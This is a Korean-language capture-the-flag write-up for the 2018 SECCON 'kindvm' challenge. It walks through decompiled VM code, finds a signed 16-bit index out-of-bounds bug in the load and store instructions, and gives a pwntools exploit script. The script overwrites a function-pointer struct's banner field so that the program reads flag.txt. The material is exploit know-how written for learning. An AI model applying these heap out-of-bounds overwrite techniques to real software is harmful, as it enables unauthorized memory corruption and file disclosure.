2018 SECCON CTF kindvm

구조체는 이런식으로 만들었다.

struct __attribute__((aligned(4))) vm
{
  int COUNT;
  int chk;
  char *name;
  char *banner;
  ssize_t (__cdecl *greeting)();
  ssize_t (__cdecl *farewell)();
};

ctf_setup() 함수는 그냥 버퍼 초기화해주고 alarm signal 5초 걸어놓는다.

kindvm_setup() 함수가 중요한 부분인데 vm 세팅해준다.

Input_insn() 함수는 명령어 인풋 받는 곳이다. insn이라는 포인터 전역변수에 저장해서 heap에 저장한다.

kc->greeting() 함수는 kc->banner를 열고 읽고 출력해준다.

kc->chk 즉 kindvm_setup에서 \x06을 셋팅하기 전까지 무한루프 돌아준다.

exec_insn() 함수는 1byte를 입력받아 명령어를 실행시켜줍니다.

Kc->farewell() 함수는 kc->greeting 함수포인터와 마찬가지로 kc->banner에 저장된 문자열을 파일을 열고 읽고 출력해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ctf_setup();
  kindvm_setup();
  input_insn();
  kc->greeting();
  while ( !kc->chk )
    exec_insn();
  kc->farewell();
  return 0;
}

주석으로 기능들은 설명해놨다.

void *kindvm_setup()
{
  struct vm *v0; // eax
  struct vm *v1; // ebx
  void *result; // eax

  v0 = malloc(24u);
  kc = v0;
  v0->COUNT = 0;
  kc->chk = 0;
  v1 = kc;
  v1->name = input_username();
  kc->banner = "banner.txt";
  kc->greeting = func_greeting;
  kc->farewell = func_farewell;
  mem = malloc(0x400u);
  memset(mem, 0, 0x400u);
  reg = malloc(0x20u);
  memset(reg, 0, 0x20u);
  insn = malloc(0x400u);
  result = memset(mem, 'A', 0x400u);            // mem filled "A"
  nop[0] = insn_nop;                            // \x00 NOP
  load = insn_load;                             // \x01 [reg idx(1byte)] [mem idx(2byte)] mem->reg
  store = insn_store;                           // \x02 [mem idx(2byte)] [reg idx(1byte)] reg->mem
  mov = insn_mov;                               // \x03 [reg idx(1byte)] [reg idx(1byte)] reg<-reg 
  add = insn_add;                               // \x04 [reg idx(1byte)] [reg idx(1byte)] reg<-reg
  sub = insn_sub;                               // \x05 [reg idx(1byte)] [reg idx(1byte)] reg<-reg
  halt = insn_halt;                             // exit
  in = insn_in;                                 // \x07 [reg idx(1byte)] data(4byte) reg<-data
  out = insn_out;                               // \x08 [reg idx(1byte)] print
  hint = insn_hint;                             // \x09
  return result;
}

insn_load(\x01 [reg idx(1byte)] [mem idx(2byte)]) 함수에서 OOB 취약점이 터진다. v3를 보면 memory의 인덱스를 참조해서 주소값을 reg idx에 맞게 값을 넣어주는데 __int16으로 저장되어있다.

int insn_load()
{
  int *v0; // ebx
  int result; // eax
  unsigned __int8 v2; // [esp+Dh] [ebp-Bh]
  __int16 v3; // [esp+Eh] [ebp-Ah]

  v2 = load_insn_uint8_t();
  v3 = load_insn_uint16_t();
  if ( v2 > 7u )
    kindvm_abort();
  if ( v3 > 1020 )
    kindvm_abort();
  v0 = (reg + 4 * v2);
  result = load_mem_uint32_t(v3);
  *v0 = result;
  return result;
}

insn_store() 함수에서도 마찬가지로 __int16 v2때문에 OOB가 터진다. heap의 원하는 주소에 mem에 reg값을 넣을 수 있다.

_BYTE *insn_store()
{
  unsigned __int8 v1; // [esp+Dh] [ebp-Bh]
  __int16 v2; // [esp+Eh] [ebp-Ah]

  v2 = load_insn_uint16_t();
  v1 = load_insn_uint8_t();
  if ( v1 > 7u )
    kindvm_abort();
  if ( v2 > 1020 )
    kindvm_abort();
  return store_mem_uint32_t(v2, *(reg + v1));
}

익스 시나리오는 kindvm_setup() 함수에서 input_username()를 호출해준다. name에 flag.txt 를 적는다. 그리고 load로 OOB 취약점을 이용해서 name 영역을 참조할 수 있다. 이걸 reg[0]에 넣어준다. 무한루프가 끝나면 kc->farewell() 을 호출해주는데 이 함수에서 kc->banner에 저장된 문자열을 읽어서 출력해준다. 여기에 reg[0]를 넣는다면 kc->banner에는 &name이 저장되어 있을 것이다. \x06으로 무한루프를 끝내면 open_read_write(kc->banner)로 flag.txt를 읽을 수 있다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./kindvm')
p = process('./kindvm')
mem = 0x0804B0A0
kc = 0x0804B0E8
regs = 0x0804B0EC
insn = 0x0804B0F0

# pause()

p.sendlineafter(':','flag.txt')

pay = '\x01\x00\xff\xd8' # reg[0] = &name("flag.txt")
pay += '\x02\xff\xdc\x00' # kc->banner = reg[0]
pay += '\x06' # exit
# trigger open_read_write(kc->banner);

p.sendafter('Input instruction : ',pay)

p.interactive()